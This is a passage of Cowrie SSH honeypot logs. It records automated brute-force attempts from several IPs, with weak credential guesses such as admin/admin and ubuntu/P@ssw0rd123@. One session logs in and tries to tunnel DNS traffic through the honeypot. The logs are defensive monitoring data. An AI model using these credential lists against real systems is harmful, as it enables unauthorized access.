CS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:18.502520Z","src_ip":"2.57.122.238","session":"ea29c98ddf9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:18.813270Z","src_ip":"2.57.122.238","session":"ea29c98ddf9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:19.920295Z","src_ip":"2.57.122.238","session":"ea29c98ddf9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":46844,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a90bfea2774","protocol":"ssh","message":"New connection: 103.228.69.212:46844 (159.203.135.109:22) [session: 7a90bfea2774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:26.092334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:26.097240Z","src_ip":"103.228.69.212","session":"7a90bfea2774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:26.329012Z","src_ip":"103.228.69.212","session":"7a90bfea2774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd123@","message":"login attempt [ubuntu/P@ssw0rd123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:27.285531Z","src_ip":"103.228.69.212","session":"7a90bfea2774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:28.520102Z","src_ip":"103.228.69.212","session":"7a90bfea2774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42952,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6f521173317","protocol":"ssh","message":"New connection: 159.203.92.129:42952 (159.203.135.109:22) [session: d6f521173317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:29.828764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:29.836700Z","src_ip":"159.203.92.129","session":"d6f521173317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:29.840277Z","src_ip":"159.203.92.129","session":"d6f521173317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"B404","password":"B404","message":"login attempt [B404/B404] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:29.924781Z","src_ip":"159.203.92.129","session":"d6f521173317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:30.932095Z","src_ip":"159.203.92.129","session":"d6f521173317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":61686,"dst_ip":"10.17.0.5","dst_port":22,"session":"890f30a8111b","protocol":"ssh","message":"New connection: 87.251.64.176:61686 (10.17.0.5:22) [session: 890f30a8111b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:43.186666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:43.190022Z","src_ip":"87.251.64.176","session":"890f30a8111b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:43.286428Z","src_ip":"87.251.64.176","session":"890f30a8111b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:43.576311Z","src_ip":"87.251.64.176","session":"890f30a8111b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:43.677138Z","session":"890f30a8111b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:43.777116Z","src_ip":"87.251.64.176","session":"890f30a8111b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:37:43.875201Z","src_ip":"87.251.64.176","session":"890f30a8111b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33812,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ef928bcf92b","protocol":"ssh","message":"New connection: 159.203.92.129:33812 (159.203.135.109:22) [session: 3ef928bcf92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:08.990252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:08.995173Z","src_ip":"159.203.92.129","session":"3ef928bcf92b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:09.000890Z","src_ip":"159.203.92.129","session":"3ef928bcf92b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"B404","password":"B404123","message":"login attempt [B404/B404123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:09.015562Z","src_ip":"159.203.92.129","session":"3ef928bcf92b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:10.023108Z","src_ip":"159.203.92.129","session":"3ef928bcf92b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":35474,"dst_ip":"159.203.135.109","dst_port":22,"session":"1155f437ef7d","protocol":"ssh","message":"New connection: 37.143.61.84:35474 (159.203.135.109:22) [session: 1155f437ef7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:28.489272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:28.595528Z","src_ip":"37.143.61.84","session":"1155f437ef7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:28.800961Z","src_ip":"37.143.61.84","session":"1155f437ef7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"123456","message":"login attempt [devuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:30.289319Z","src_ip":"37.143.61.84","session":"1155f437ef7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:31.492391Z","src_ip":"37.143.61.84","session":"1155f437ef7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37892,"dst_ip":"159.203.135.109","dst_port":22,"session":"b85fd4193a0f","protocol":"ssh","message":"New connection: 159.203.92.129:37892 (159.203.135.109:22) [session: b85fd4193a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:49.012494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:49.017633Z","src_ip":"159.203.92.129","session":"b85fd4193a0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:49.022399Z","src_ip":"159.203.92.129","session":"b85fd4193a0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"BEST","password":"BEST","message":"login attempt [BEST/BEST] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:49.037431Z","src_ip":"159.203.92.129","session":"b85fd4193a0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:38:50.046030Z","src_ip":"159.203.92.129","session":"b85fd4193a0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46420,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9d76b2fc5e0","protocol":"ssh","message":"New connection: 159.203.92.129:46420 (159.203.135.109:22) [session: d9d76b2fc5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:30.758784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:30.764618Z","src_ip":"159.203.92.129","session":"d9d76b2fc5e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:30.772101Z","src_ip":"159.203.92.129","session":"d9d76b2fc5e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Backup","password":"123","message":"login attempt [Backup/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:30.784294Z","src_ip":"159.203.92.129","session":"d9d76b2fc5e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:31.791587Z","src_ip":"159.203.92.129","session":"d9d76b2fc5e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47500,"dst_ip":"159.203.135.109","dst_port":22,"session":"99f52cdc98ce","protocol":"ssh","message":"New connection: 2.57.122.238:47500 (159.203.135.109:22) [session: 99f52cdc98ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:39:37.681118Z"}
